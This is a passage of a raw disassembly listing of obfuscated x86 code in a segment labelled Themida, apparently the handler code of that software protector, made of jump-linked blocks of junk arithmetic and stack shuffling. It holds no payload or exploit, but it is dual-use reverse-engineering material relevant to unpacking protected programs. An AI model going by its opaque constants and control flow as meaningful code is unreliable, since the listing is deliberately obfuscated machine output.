loc_556ECC:				; CODE XREF: Themida_:00553E62j
		add	edx, 87E60EFh
		add	edx, 49C942E3h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_555C4D
; ---------------------------------------------------------------------------


loc_556EE3:				; CODE XREF: Themida_:00553644j
		add	ebx, edx
		jmp	loc_55CED9
; ---------------------------------------------------------------------------


loc_556EEA:				; CODE XREF: Themida_:0055E07Fj
		add	edx, esi
		pop	esi
		or	[edi+1Ch], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_556EFF:				; CODE XREF: Themida_:0055E12Bj
		mov	edi, esp
		jmp	loc_55F063
; ---------------------------------------------------------------------------


loc_556F06:				; CODE XREF: Themida_:00558583j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	ecx
		jmp	loc_557EDA
; ---------------------------------------------------------------------------


loc_556F28:				; CODE XREF: Themida_:005556EBj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_553E76
; ---------------------------------------------------------------------------


loc_556F35:				; CODE XREF: Themida_:00554115j
		sub	bl, 17h
		jmp	loc_55CD5A
; ---------------------------------------------------------------------------


loc_556F3D:				; CODE XREF: Themida_:0055B5C6j
		add	ebx, 82548CAh
		add	ebx, 757411CEh
		mov	edx, ebx
		jmp	loc_5566F0
; ---------------------------------------------------------------------------


loc_556F50:				; CODE XREF: Themida_:00553A3Aj
		pop	ebx
		jmp	loc_553A4F
; ---------------------------------------------------------------------------


loc_556F56:				; CODE XREF: Themida_:0055F199j
		xchg	ebp, [esp]
		pop	esp
		sub	eax, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5571A0
; ---------------------------------------------------------------------------


loc_556F67:				; CODE XREF: Themida_:005563CCj
		or	esi, 271E5051h
		xor	esi, 0D851A6EDh
		add	ecx, esi
		pop	esi
		jmp	loc_55C2E4
; ---------------------------------------------------------------------------


loc_556F7B:				; CODE XREF: Themida_:0055A974j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55D25D
; ---------------------------------------------------------------------------


loc_556F84:				; CODE XREF: Themida_:0055C6E4j
		sub	eax, edi
		pop	edi
		jmp	loc_553192
; ---------------------------------------------------------------------------


loc_556F8C:				; CODE XREF: Themida_:0055903Dj
		mov	cl, bh
		mov	dl, cl
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5566E5
; ---------------------------------------------------------------------------


loc_556FA4:				; CODE XREF: Themida_:0055C58Bj
		inc	esi
		xchg	esi, [esp]
		mov	ebx, [esp]
		add	esp, 4
		shl	ebx, 3
		push	eax
		push	ebp
		mov	ebp, 57581139h
		shr	ebp, 4
		xor	ebp, 0DA99444h
		mov	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 60E1D3Bh
		jmp	loc_55B3C9
; ---------------------------------------------------------------------------


loc_556FCF:				; CODE XREF: Themida_:0055B56Ej
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55C25B
; ---------------------------------------------------------------------------


loc_556FDC:				; CODE XREF: Themida_:00557527j
		xor	ecx, edi
		jmp	loc_55EBEA
; ---------------------------------------------------------------------------


loc_556FE3:				; CODE XREF: Themida_:00558E5Ej
		mov	esp, [esp]
		mov	[esp], eax
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	27EBh
		mov	[esp], ebp
		push	esi
		jmp	loc_55D10E
; ---------------------------------------------------------------------------


loc_55700A:				; CODE XREF: Themida_:00555C56j
		mov	ebx, esp
		jmp	loc_55748F
; ---------------------------------------------------------------------------


loc_557011:				; CODE XREF: Themida_:0055EA5Aj
		pop	eax
		push	2237h
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ecx
		push	201Dh
		mov	[esp], ebp
		push	ebx
		jmp	loc_557617
; ---------------------------------------------------------------------------


loc_557033:				; CODE XREF: Themida_:00556863j
		mov	ch, 3Bh
		add	dh, ch
		pop	cx
		sub	al, 0A9h
		add	al, dh
		add	al, 0A9h
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 4Eh
		push	cx
		push	edx
		mov	dl, 0C7h
		jmp	loc_555AA6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2046h
		jmp	loc_555CEF
; ---------------------------------------------------------------------------


loc_557060:				; CODE XREF: Themida_:005591E6j
		dec	esi
		xor	esi, 0EA8AF0ECh
		sub	ebx, 5D912BF3h
		add	ebx, esi
		add	ebx, 5D912BF3h
		pop	esi
		push	edx
		mov	edx, 77DC722Bh
		jmp	loc_553594
; ---------------------------------------------------------------------------


loc_557081:				; CODE XREF: Themida_:005553C1j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edx, 4
		push	ebx
		mov	ebx, 15E634Bh
		jmp	loc_556676
; ---------------------------------------------------------------------------


loc_5570A1:				; CODE XREF: Themida_:00557AFFj
		or	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 84507576h
		jmp	loc_55CACA
; ---------------------------------------------------------------------------


loc_5570AF:				; CODE XREF: Themida_:0055C08Aj
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55CC42
; ---------------------------------------------------------------------------


loc_5570C6:				; CODE XREF: Themida_:0055E75Aj
		add	edx, ebx
		pop	ebx
		add	edx, edi
		jmp	loc_559B3E
; ---------------------------------------------------------------------------


loc_5570D0:				; CODE XREF: Themida_:0055D431j
		mov	[esp], edx
		mov	edx, 20000h
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_553510
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		jmp	loc_55EE7F
; ---------------------------------------------------------------------------


loc_5570FD:				; CODE XREF: Themida_:00555B1Aj
		shl	al, 1
		push	edx
		mov	dh, 1Ch
		jmp	loc_55E352
; ---------------------------------------------------------------------------
unk_557107	db    0			; CODE XREF: Themida_:0055A043j
; ---------------------------------------------------------------------------
		shr	cl, 1
		db	67h
		fdivp	st(7), st
		inc	dword ptr [ecx-52C37137h] ; CODE XREF: Themida_:00559DEDj
		aas
		push	edi
		mov	edi, 44184517h
		jmp	loc_55751B
; ---------------------------------------------------------------------------


loc_55711F:				; CODE XREF: Themida_:005583ADj
		xor	esi, 3FEB0CE0h
		push	esi
		sub	dword ptr [esp], 1A0E159Dh
		jmp	loc_558139
; ---------------------------------------------------------------------------


loc_557132:				; CODE XREF: Themida_:0055AB37j
		inc	byte ptr [esp+1]
		jmp	loc_55CFFC
; ---------------------------------------------------------------------------


loc_55713B:				; CODE XREF: Themida_:00554C1Cj
		mov	eax, [esp]
		jmp	loc_554A2C
; ---------------------------------------------------------------------------


loc_557143:				; CODE XREF: Themida_:00553D81j
		or	ebp, 6B851D19h
		sub	ebp, 0AED9E235h
		add	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 66FC3C19h
		jmp	loc_556868
; ---------------------------------------------------------------------------


loc_55715D:				; CODE XREF: Themida_:00559BCEj
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5594BA
; ---------------------------------------------------------------------------


loc_557171:				; CODE XREF: Themida_:0055CCD9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	7A6Bh
		mov	[esp], ecx
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_557187:				; CODE XREF: Themida_:0055779Cj
		sub	ecx, 4
		jmp	loc_558AD6
; ---------------------------------------------------------------------------


loc_55718F:				; CODE XREF: Themida_:0055CE6Bj
		add	dl, 8Ch
		jmp	loc_55D0FC
; ---------------------------------------------------------------------------


loc_557197:				; CODE XREF: Themida_:0055B168j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_556245
; ---------------------------------------------------------------------------


loc_5571A0:				; CODE XREF: Themida_:00556F62j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	58A1h
		jmp	loc_55CF57
; ---------------------------------------------------------------------------


loc_5571BA:				; CODE XREF: Themida_:00557FB0j
		pop	edx
		sub	edx, 3BC66982h
		add	edx, 3C2C357Ch
		shl	edx, 7
		push	esi
		mov	esi, 689D8D04h
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	eax, edx
		pop	edx
		jmp	loc_557ADC
; ---------------------------------------------------------------------------


loc_5571E3:				; CODE XREF: Themida_:0055BB75j
		shl	ebx, 2
		inc	ebx
		xor	ebx, 65230910h
		jmp	loc_55BC43
; ---------------------------------------------------------------------------


loc_5571F2:				; CODE XREF: Themida_:0055A11Fj
		and	ecx, 5BB5483Ch
		shl	ecx, 6
		and	ecx, 62145BC6h
		push	eax
		jmp	loc_55B3ED
; ---------------------------------------------------------------------------


loc_557207:				; CODE XREF: Themida_:0055907Ej
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	0C92h
		mov	[esp], esi
		mov	esi, 377D2967h
		sub	esi, 1
		shr	esi, 5
		xchg	edi, esi
		inc	edi
		xor	esi, edi
		xor	edi, esi
		jmp	loc_554308
; ---------------------------------------------------------------------------


loc_557249:				; CODE XREF: Themida_:005584B1j
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		bswap	eax
		jmp	loc_55ED86
; ---------------------------------------------------------------------------


loc_557257:				; CODE XREF: Themida_:005582BAj
		mov	ebx, [esp]
		jmp	loc_55AAFB
; ---------------------------------------------------------------------------


loc_55725F:				; CODE XREF: Themida_:005543BFj
		xor	eax, 187F1BE0h
		sub	eax, 78D732DEh
		mov	ebp, eax
		pop	eax
		add	esi, 7C7003A8h
		sub	esi, 699461CAh
		add	esi, ebp
		jmp	loc_554C52
; ---------------------------------------------------------------------------


loc_55727F:				; CODE XREF: Themida_:0055EE25j
		mov	ebx, 0C709E654h
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_55D222
; ---------------------------------------------------------------------------


loc_55728E:				; CODE XREF: Themida_:0055D484j
		sub	eax, 4
		jmp	loc_55C919
; ---------------------------------------------------------------------------


loc_557296:				; CODE XREF: Themida_:005549A9j
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 2
		push	76E8h
		jmp	loc_55C08F
; ---------------------------------------------------------------------------


loc_5572A9:				; CODE XREF: Themida_:0055A652j
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, 10AF7B03h
		pop	esi
		rep movsd
		jmp	loc_55F0AB
; ---------------------------------------------------------------------------


loc_5572C4:				; CODE XREF: Themida_:0055AF9Fj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55E313
		push	1650h
		mov	[esp], eax
		push	ebp
		mov	ebp, 3AF84CBEh
		or	ebp, 582B3AE3h
		sub	ebp, 26535EFEh
		shl	ebp, 8
		and	ebp, 202065A0h
		inc	ebp
		jmp	loc_555A4C
; ---------------------------------------------------------------------------


loc_5572FF:				; CODE XREF: Themida_:00555135j
		add	eax, edi
		jmp	loc_557784
; ---------------------------------------------------------------------------


loc_557306:				; CODE XREF: Themida_:00557932j
		xor	edi, 6A6D7568h
		xor	edi, 1522ABC3h
		xor	ecx, edi
		jmp	loc_55817E
; ---------------------------------------------------------------------------


loc_557319:				; CODE XREF: Themida_:0055D7F6j
		push	601h
		mov	[esp], edx
		push	627130C4h
		pop	edx
		inc	edx
		push	ebx
		mov	ebx, 9D8ECF3Fh
		add	edx, ebx
		pop	ebx
		push	esi
		mov	esi, edx
		jmp	loc_55C9CD
; ---------------------------------------------------------------------------


loc_557339:				; CODE XREF: Themida_:0055D258j
		mov	eax, [esp]
		add	esp, 4
		and	dl, 0B4h
		add	dl, 0FFh
		jmp	loc_55E479
; ---------------------------------------------------------------------------


loc_55734D:				; CODE XREF: Themida_:0055B155j
		xor	edi, eax
		pop	eax
		mov	ebp, edi
		jmp	loc_558663
; ---------------------------------------------------------------------------


loc_557357:				; CODE XREF: Themida_:00558112j
		xor	edx, [esp]
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_557366:				; CODE XREF: Themida_:005560B6j
		pop	small word ptr [esp]
		xor	dx, bx
		xor	bx, dx
		xor	dx, bx
		push	bx
		not	word ptr [esp]
		pop	bx
		xor	dx, bx
		jmp	loc_55E426
; ---------------------------------------------------------------------------


loc_557383:				; CODE XREF: Themida_:005568C7j
		mov	[esp], edi
		push	ebx
		mov	ebx, 117F771Fh
		jmp	loc_553FB2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	4899h
		jmp	loc_55EAE3
; ---------------------------------------------------------------------------


loc_5573A8:				; CODE XREF: Themida_:0055C7AEj
		pop	edi
		jmp	loc_556491
; ---------------------------------------------------------------------------


loc_5573AE:				; CODE XREF: Themida_:0055840Bj
		add	esp, 4
		push	544Ah
		mov	[esp], eax
		push	edx
		jmp	loc_55651C
; ---------------------------------------------------------------------------


loc_5573BF:				; CODE XREF: Themida_:00554461j
		push	1F2Ah
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5587B6
; ---------------------------------------------------------------------------


loc_5573DF:				; CODE XREF: Themida_:0055DC56j
		mov	ebp, 35B7514Ah
		add	ebp, 66EA2E7Dh
		sub	ebp, 9CA17FC3h
		mov	esi, ebp
		pop	ebp
		add	edx, esi
		jmp	loc_554B1A
; ---------------------------------------------------------------------------


loc_5573FA:				; CODE XREF: Themida_:0055EE07j
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0Fh
		mov	cl, 1Fh
		xor	cl, ah
		mov	eax, [esp]
		add	esp, 4
		xor	al, cl
		push	dword ptr [esp]
		jmp	loc_55E127
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_556AF7
; ---------------------------------------------------------------------------


loc_55742A:				; CODE XREF: Themida_:00559C4Aj
		shl	edx, 1
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55CD8F
; ---------------------------------------------------------------------------


loc_557444:				; CODE XREF: Themida_:00555D14j
		push	ecx
		jmp	loc_5536E4
; ---------------------------------------------------------------------------


loc_55744A:				; CODE XREF: Themida_:0055926Aj
		add	ebp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebp, 4B6C0B44h
		add	ebp, ecx
		push	edx
		push	esi
		mov	esi, 42190543h
		mov	edx, 9750E07h
		xor	edx, esi
		pop	esi
		sub	ebp, 34292D82h
		add	ebp, edx
		jmp	loc_55A951
; ---------------------------------------------------------------------------


loc_55748F:				; CODE XREF: Themida_:0055700Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, eax
		push	dword ptr [esp]
		jmp	loc_55E572
; ---------------------------------------------------------------------------


loc_5574A9:				; CODE XREF: Themida_:0055682Cj
		add	esp, 4
		jmp	loc_554919
; ---------------------------------------------------------------------------


loc_5574B4:				; CODE XREF: Themida_:0055E52Fj
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55E604
; ---------------------------------------------------------------------------


loc_5574C5:				; CODE XREF: Themida_:0055F158j
		pop	esp
		mov	[eax], bl
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5574D8:				; CODE XREF: Themida_:00559DBBj
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, ebx
		pop	ebx
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5574F3:				; CODE XREF: Themida_:0055EDA0j
		and	ah, 74h
		sub	ah, 0A0h
		xor	ah, 0FCh
		xor	dl, ah
		pop	eax
		jmp	loc_5530DE
; ---------------------------------------------------------------------------


loc_557504:				; CODE XREF: Themida_:00556C66j
		mov	eax, ebx
		pop	ebx
		jmp	loc_555575
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55751B:				; CODE XREF: Themida_:0055711Aj
		and	edi, 4CA445DEh
		sub	edi, 0E81AE298h
		jmp	loc_556FDC
; ---------------------------------------------------------------------------


loc_55752C:				; CODE XREF: Themida_:0055A198j
		xor	ebx, ecx
		pop	ecx
		add	ebx, 0E6FE1B57h
		sub	edx, ebx
		pop	ebx
		push	edi
		push	edx
		mov	edx, 4AD108AAh
		mov	edi, 536A70C7h
		xor	edi, edx
		pop	edx
		add	edi, 1
		sub	edi, 0FD0CE91Bh
		xor	edx, edi
		pop	edi
		mov	ebx, edx
		jmp	loc_55C7E4
; ---------------------------------------------------------------------------


loc_55755D:				; CODE XREF: Themida_:00555CA6j
		mov	ecx, [esp]
		jmp	loc_559B31
; ---------------------------------------------------------------------------


loc_557565:				; CODE XREF: Themida_:005557C3j
		mov	edx, [esp]
		add	esp, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		neg	ebx
		push	ebp
		mov	ebp, 4EDD4EC1h
		add	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, ebx
		mov	esi, eax
		pop	eax
		jmp	loc_55D9A1
; ---------------------------------------------------------------------------


loc_557594:				; CODE XREF: Themida_:005538E1j
		pop	ebx
		push	5183h
		mov	[esp], ebx
		jmp	loc_556543
; ---------------------------------------------------------------------------


loc_5575A2:				; CODE XREF: Themida_:0055DF76j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		push	edx
		mov	edx, 43B7918h
		or	edx, 7A4A7759h
		not	edx
		shr	edx, 6
		add	edx, 5EC264DFh
		shr	edx, 4
		push	5C0Ch
		mov	[esp], eax
		mov	eax, 0F9F37893h
		add	edx, eax
		pop	eax
		add	eax, edx
		pop	edx
		jmp	loc_55DC88
; ---------------------------------------------------------------------------


loc_5575E3:				; CODE XREF: Themida_:0055B7DCj
		push	edi
		mov	edi, 71B22AF0h
		jmp	loc_55DAC1
; ---------------------------------------------------------------------------


loc_5575EE:				; CODE XREF: Themida_:00553A09j
		mov	[esp], cx
		mov	cl, 3Ah
		sub	al, cl
		jmp	loc_55B4AD
; ---------------------------------------------------------------------------


loc_5575FB:				; CODE XREF: Themida_:00558DD4j
		push	ebp
		push	edx
		jmp	loc_558656
; ---------------------------------------------------------------------------


loc_557602:				; CODE XREF: Themida_:0055ADE5j
		not	edx
		and	edx, 12152899h
		sub	edx, 6C652046h
		sub	ebp, edx
		jmp	loc_55BCD6
; ---------------------------------------------------------------------------


loc_557617:				; CODE XREF: Themida_:0055702Ej
		mov	ebx, 37893F17h
		add	ebx, 0C876C0EDh
		mov	ebp, ebx
		pop	ebx
		jmp	loc_5552C9
; ---------------------------------------------------------------------------


loc_55762A:				; CODE XREF: Themida_:005568B3j
		pop	eax
		sub	ebx, edx
		xchg	ebx, edx
		jmp	loc_55C3A4
; ---------------------------------------------------------------------------


loc_557634:				; CODE XREF: Themida_:0055ECD9j
		mov	[esp], edx
		mov	edx, 14936372h
		shl	edx, 1
		sub	edx, 0D46F48DDh
		xor	esi, edx
		pop	edx
		mov	ebx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	2231h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55BBA5
; ---------------------------------------------------------------------------


loc_557671:				; CODE XREF: Themida_:0055E950j
		xor	eax, esi
		pop	esi
		or	edi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	edi, 6
		jmp	loc_55B148
; ---------------------------------------------------------------------------


loc_557687:				; CODE XREF: Themida_:00553B29j
		sub	ebp, 3217CCCh
		sub	ebp, 6BAD658Eh
		add	ebp, eax
		add	ebp, 6BAD658Eh
		add	ebp, 3217CCCh
		jmp	loc_55B757
; ---------------------------------------------------------------------------


loc_5576A6:				; CODE XREF: Themida_:0055E667j
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_556642
		push	dword ptr [edi+28h]
		add	dword ptr [esp], 619A5BAFh
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_5553BC
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		mov	edi, 43D776ABh
		push	edx
		mov	edx, 433B5F28h
		or	edi, edx
		pop	edx
		or	edi, 70B32762h
		jmp	loc_55436D
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_552E94
; ---------------------------------------------------------------------------


loc_5576E9:				; CODE XREF: Themida_:0055E9A0j
		add	ecx, 1D4D4A51h
		xor	ecx, 0F240FD6Ch
		add	edi, ecx
		pop	ecx
		add	edi, 71455206h
		add	edi, esi
		sub	edi, 71455206h
		sub	edi, 64B61317h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5562FA
; ---------------------------------------------------------------------------


loc_55771B:				; CODE XREF: Themida_:0055B99Cj
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_554716
; ---------------------------------------------------------------------------


loc_55772C:				; CODE XREF: Themida_:005562B4j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_557738:				; CODE XREF: Themida_:00553352j
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_557755:				; CODE XREF: Themida_:005537E1j
		not	eax
		xor	eax, 60971CDBh
		jmp	loc_55DEBD
; ---------------------------------------------------------------------------


loc_557761:				; CODE XREF: Themida_:0055ED60j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_559533
; ---------------------------------------------------------------------------


loc_557773:				; CODE XREF: Themida_:00557A34j
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_554B9E
; ---------------------------------------------------------------------------


loc_557784:				; CODE XREF: Themida_:00557301j
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_557187
; ---------------------------------------------------------------------------


loc_5577A1:				; CODE XREF: Themida_:005589D1j
		push	7EB56D7h
		jmp	loc_55D958
; ---------------------------------------------------------------------------


loc_5577AB:				; CODE XREF: Themida_:0055D02Fj
		push	ebp
		mov	ebp, 4A525ADEh
		inc	ebp
		sub	ebp, 36AD5DD8h
		xor	ebp, 37D83C79h
		jmp	loc_559D8F
; ---------------------------------------------------------------------------


loc_5577C3:				; CODE XREF: Themida_:0055F16Aj
		push	eax
		mov	eax, esp
		jmp	loc_55AA2E
; ---------------------------------------------------------------------------


loc_5577CB:				; CODE XREF: Themida_:005552CCj
		add	esi, ecx
		jmp	loc_55E584
; ---------------------------------------------------------------------------


loc_5577D2:				; CODE XREF: Themida_:005565DAj
		mov	eax, edi
		pop	edi
		jmp	loc_55DCEB
; ---------------------------------------------------------------------------


loc_5577DA:				; CODE XREF: Themida_:00558F22j
		sub	ebx, eax
		add	ebx, 37FE75AFh
		jmp	loc_5591B4
; ---------------------------------------------------------------------------


loc_5577E7:				; CODE XREF: Themida_:0055D211j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dx
		mov	dl, 0B6h
		jmp	loc_557805
; ---------------------------------------------------------------------------


loc_5577FD:				; CODE XREF: Themida_:00554F09j
		push	ebp
		mov	ebp, esp
		jmp	loc_55D653
; ---------------------------------------------------------------------------


loc_557805:				; CODE XREF: Themida_:005577F8j
		mov	bh, dl
		pop	dx
		push	cx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55B4ED
; ---------------------------------------------------------------------------


loc_557816:				; CODE XREF: Themida_:00554002j
		sub	cl, 0
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_556AC5
; ---------------------------------------------------------------------------


loc_557828:				; CODE XREF: Themida_:0055D18Aj
		mov	edi, 469C290Ch
		jmp	loc_556D4E
; ---------------------------------------------------------------------------


loc_557832:				; CODE XREF: Themida_:0055EA15j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		push	72C1h
		jmp	loc_554AE2
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	3E7Bh
		mov	[esp], edx
		push	612Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 4
		jmp	loc_55C1E0
; ---------------------------------------------------------------------------


loc_55787B:				; CODE XREF: Themida_:00559C13j
		push	edi
		jmp	loc_55E8F3
; ---------------------------------------------------------------------------


loc_557881:				; CODE XREF: Themida_:0055C2F2j
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_55490F
; ---------------------------------------------------------------------------


loc_55788C:				; CODE XREF: Themida_:00553764j
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_557895:				; CODE XREF: Themida_:005535DBj
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_559992
; ---------------------------------------------------------------------------


loc_5578AE:				; CODE XREF: Themida_:005533B5j
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_55A067
; ---------------------------------------------------------------------------


loc_5578BA:				; CODE XREF: Themida_:0055E0D3j
		push	ebp
		push	edx
		mov	edx, 43E83903h
		jmp	loc_55BAE5
; ---------------------------------------------------------------------------


loc_5578C6:				; CODE XREF: Themida_:0055B116j
		add	esp, 4
		push	esi
		push	edx
		mov	edx, 79EF401Ch
		jmp	loc_552DFC
; ---------------------------------------------------------------------------


loc_5578D5:				; CODE XREF: Themida_:00555B8Aj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55E073
; ---------------------------------------------------------------------------


loc_5578E3:				; CODE XREF: Themida_:0055CADFj
		xor	ecx, [esp]
		mov	esp, [esp]
		imul	cx, ax
		jmp	loc_554721
; ---------------------------------------------------------------------------


loc_5578F2:				; CODE XREF: Themida_:00555EC3j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55BE4E
; ---------------------------------------------------------------------------


loc_5578FB:				; CODE XREF: Themida_:0055C9F6j
		add	esi, edx
		sub	esi, 482C2C85h
		jmp	loc_555259
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55D568
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	esp
		jmp	loc_55C221
; ---------------------------------------------------------------------------


loc_557924:				; CODE XREF: Themida_:005568A2j
		add	edi, ebp
		jmp	loc_556669
; ---------------------------------------------------------------------------


loc_55792B:				; CODE XREF: Themida_:00553D43j
		inc	edi
		or	edi, 74501FC4h
		jmp	loc_557306
; ---------------------------------------------------------------------------


loc_557937:				; CODE XREF: Themida_:00558842j
		pop	edi
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	ebx, eax
		push	edx
		mov	edx, esp
		push	38BAh
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_5538DA
; ---------------------------------------------------------------------------


loc_557963:				; CODE XREF: Themida_:00558243j
		pop	edx
		inc	ecx
		jmp	loc_557EB8
; ---------------------------------------------------------------------------


loc_55796A:				; CODE XREF: Themida_:00559EFDj
		xor	edi, 759E0D0Bh
		add	esi, edi
		pop	edi
		add	esi, 3AC3455Dh
		add	esi, 3E040C0Ch
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_55BF91
; ---------------------------------------------------------------------------


loc_55798F:				; CODE XREF: Themida_:0055DB2Ej
		sub	bh, 35h
		jmp	loc_55E7B3
; ---------------------------------------------------------------------------


loc_557997:				; CODE XREF: Themida_:0055A1A8j
		mov	ebp, 4
		sub	edi, 5416413Bh
		push	eax
		jmp	loc_55BB35
; ---------------------------------------------------------------------------


loc_5579A8:				; CODE XREF: Themida_:005597CEj
		push	1E3Dh
		mov	[esp], ebx
		mov	ebx, 17CB2AEFh
		and	ebx, 629139A8h
		jmp	loc_558CB2
; ---------------------------------------------------------------------------


loc_5579C0:				; CODE XREF: Themida_:005544C6j
		pop	ebx
		add	al, ch
		add	al, 4Dh
		pop	cx
		sub	al, cl
		push	edx
		mov	dh, 26h
		jmp	loc_55CB24
